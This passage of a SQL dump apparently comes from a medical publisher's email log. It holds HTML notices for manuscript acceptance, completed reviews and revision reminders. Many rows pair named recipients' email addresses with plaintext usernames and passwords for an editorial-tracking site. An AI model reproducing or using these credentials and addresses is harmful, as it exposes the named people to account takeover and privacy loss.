cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4149</b><br />\r\n            <br />\r\n            Article Title: <b>Management suggestions during COVID-19 pandemic for Radiological Technologists.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Koubardas</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-05-27</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','koubardas@gmail.com',4149,'2020-05-27',48),(1285,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4178</b><br />\r\n            <br />\r\n            Article Title: <b>Review: Differential Diagnosis of Drug-Induced Gingival Hyperplasia and Other Oral Lesions</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Einhorn</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-05-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','einomer13@gmail.com',4178,'2020-05-28',48),(1286,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4178</b><br />\r\n            <br />\r\n            Article Title: <b>Review: Differential Diagnosis of Drug-Induced Gingival Hyperplasia and Other Oral Lesions</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Einhorn</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-05-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','einomer13@gmail.com',4178,'2020-05-28',48),(1296,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-20-4209</b><br />\r\n            <br />\r\n            Article Title: <b>The burden of Sickle Cell Disease at a tertiary hospital in Malawi</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Chimbatata</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-01</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','chimbatatachikondi@gmail.com',4209,'2020-06-01',48),(1307,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4194</b><br />\r\n            <br />\r\n            Article Title: <b>Prevalence and Outcome of Tuberculosis Treatment in a Primary Care Center in Karachi</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Dr. Fatima Jehangir</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>L. Cook</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-4194</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jennifer<br />\r\n            <b>Password:</b> rTMjHpr8<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jencook@email.arizona.edu',4194,'2020-06-02',85),(1308,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4017</b><br />\r\n            <br />\r\n            Article Title: <b>EXPLORING THE SECRETS OF THE CORONA VIRUS: WHAT DOES DURATION OF CONTACT MEAN IN COVID-19.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>hamzullah khan</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Arda </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-4017</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> isik<br />\r\n            <b>Password:</b> 1GqmD6Ny<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kararda@yahoo.com',4017,'2020-06-02',85),(1309,'<p>Ref.:  Ms. No. : <b>ipaom-20-3799</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Assessment of arterial stiffness and cardiovascular disease risk factors at King Fahd University Hospital</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Al-Shairbeeny</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-3799</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>tariq</b><br />\r\npassword: <b>4LHrVtdk</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','medboostkit@gmail.com',3799,'2020-06-02',85),(1311,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-4056</b><br />\r\n            <br />\r\n            Article Title: <b>Case series of COVID-19 patients who recovered without requiring intubation</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Angie Seo</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Theodoros </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-4056</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> aslanidis<br />\r\n            <b>Password:</b> qD4MurMN<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','thaslan@hotmail.com',4056,'2020-06-03',85),(1313,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>IPJUS-20-3741</b><br />\r\n            <br />\r\n            Article Title: <b>Cystic Duct Lithiasis Post-Cholecystectomy a Singular Etiology Leading to Recurrent Acute Pancreatitis.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jusurgery.com/\" target=\"_blank\">Journal of Universal Surgery</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>BENDJABALLAH</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Universal Surgery</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jusurgery.com/\">Journal of Universal Surgery</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ali_bendjaballah@yahoo.fr',3741,'2020-06-03',319),(1314,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-4386</b><br />\r\n            <br />\r\n            Article Title: <b>Human Papillomavirus: A gender-based report on the knowledge of college students in Northern Greece </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Dimitrios Kavvadas</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Kawaoka</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-20-4386</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> yoshihiro<br />\r\n            <b>Password:</b> 4TNl5fB6<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kawaoka@ims.u-tokyo.ac.jp',4386,'2020-06-03',248),(1315,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-20-4386</b><br />\r\n            <br />\r\n            Article Title: <b>Human Papillomavirus: A gender-based report on the knowledge of college students in Northern Greece </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.acmicrob.com/\" target=\"_blank\">Archives of Clinical Microbiology</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Kavvadas</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Clinical Microbiology</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-03</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:galleyproof@journalinvoice.com\">galleyproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','kavvadas@auth.gr',4386,'2020-06-03',248),(1321,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-20-3812</b><br />\r\n            <br />\r\n            Article Title: <b>Global Efforts towards potential therapeutic options for COVID-19</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Santosh Kumar Prajapti</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>L. Cook</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-20-3812</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> jennifer<br />\r\n            <b>Password:</b> rTMjHpr8<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','jencook@email.arizona.edu',3812,'2020-06-04',85),(1322,'<p>Ref.:  Ms. No. : <b>ipaom-20-4058</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Systemic lupus revealed by pneumonia</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. yousfi</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-4058</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>jaouad</b><br />\r\npassword: <b>YakOmnfg</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','yousfi.medecineinterne@gmail.com',4058,'2020-06-04',85),(1323,'<p>Ref.:  Ms. No. : <b>ipaom-20-3987</b><br />\r\n<br />\r\nARTICLE TITLE: <b>The prevalence of Sexually Transmitted Diseases (STDs) among 25-60 years old men in Iran</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Aliakbari</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-3987</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>fereshteh</b><br />\r\npassword: <b>x152do09</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','f_aliakbari2017@sbmu.ac.ir',3987,'2020-06-04',85),(1324,'<p>Ref.:  Ms. No. : <b>ipaom-20-3831</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Platelet activation in gastrointestinal tumors</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Baranyai</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-3831</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>zsolt</b><br />\r\npassword: <b>Dpj5VeP2</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','baranyai.zsolt@med.semmelweis-univ.hu',3831,'2020-06-04',85),(1325,'<p>Ref.:  Ms. No. : <b>ipaom-20-3791</b><br />\r\n<br />\r\nARTICLE TITLE: <b>Curative effect observation of ambroxol hydrochloride combined with antibiotics in the treatment of chronic bronchitis and relevant nursing mode</b><br />\r\n<br />\r\nJOURNAL: <b>Archives of Medicine</b><br />\r\n<br />\r\nDear <b>Dr. Wang</b>,<br />\r\n<br />\r\nThe revision of <b>ipaom-20-3791</b> was expected by <b>DATE_REVISION_DUE</b>.<br />\r\n<br />\r\nYou have been sent <b>AUTHOR_REMIND_COUNT</b> reminder notices.  The last one was sent on <b>AUTHOR_REMIND_DATE</b>.<br />\r\n<br />\r\nIf you require more time, please contact the editorial office.  If you are ready to submit your revision, then please go to <a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a> and submit the revision.<br />\r\n<br />\r\nusername: <b>yanjun</b><br />\r\npassword: <b>W4MtjUEU</b><br />\r\n<br />\r\nKind regards,<br />\r\n<b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></p>',1,'Author Revision Subsequent Reminder','yanjunwang22wang@gmail.com',3791,'2020-06-04',85),(1327,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipacm-19-2744</b><br />\r\n            <br />\r\n            Article Title: <b>A systematic review and meta-analysis of the Proportion and Antimicrobial Susceptibility pattern of Escherichia coli O157:H7 from different human foods  in Ethiopia:    </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Tigist Egda</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Clinical Microbiology</b><br />\r\n            <br />\r\n            Dear Dr. <b>Kawaoka</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipacm-19-2744</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> yoshihiro<br />\r\n            <b>Password:</b> 4TNl5fB6<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.acmicrob.com/\">Archives of Clinical Microbiology</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','kawaoka@ims.u-tokyo.ac.jp',2744,'2020-06-04',248),(1328,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3447</b><br />\r\n            <br />\r\n            Article Title: <b>Acute Disseminated Encephalomyelitis presenting as Stiff-Person Syndrome in Middle-Aged Adult: Case Report</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Marian Irene Escasura</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-3447</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',3447,'2020-06-04',75),(1329,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3575</b><br />\r\n            <br />\r\n            Article Title: <b>Deep coma due to severe multiple sinus thromboses rescued by intravenous heparin and pulse steroid</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Hassan Alayafi</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Rubinstein</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-20-3575</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> carlos<br />\r\n            <b>Password:</b> NCAf3sEi<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','rubidoc@gmail.com',3575,'2020-06-04',75),(1330,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-20-3575</b><br />\r\n            <br />\r\n            Article Title: <b>Deep coma due to severe multiple sinus thromboses rescued by intravenous heparin and pulse steroid</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Alayafi</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2020-06-04</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: 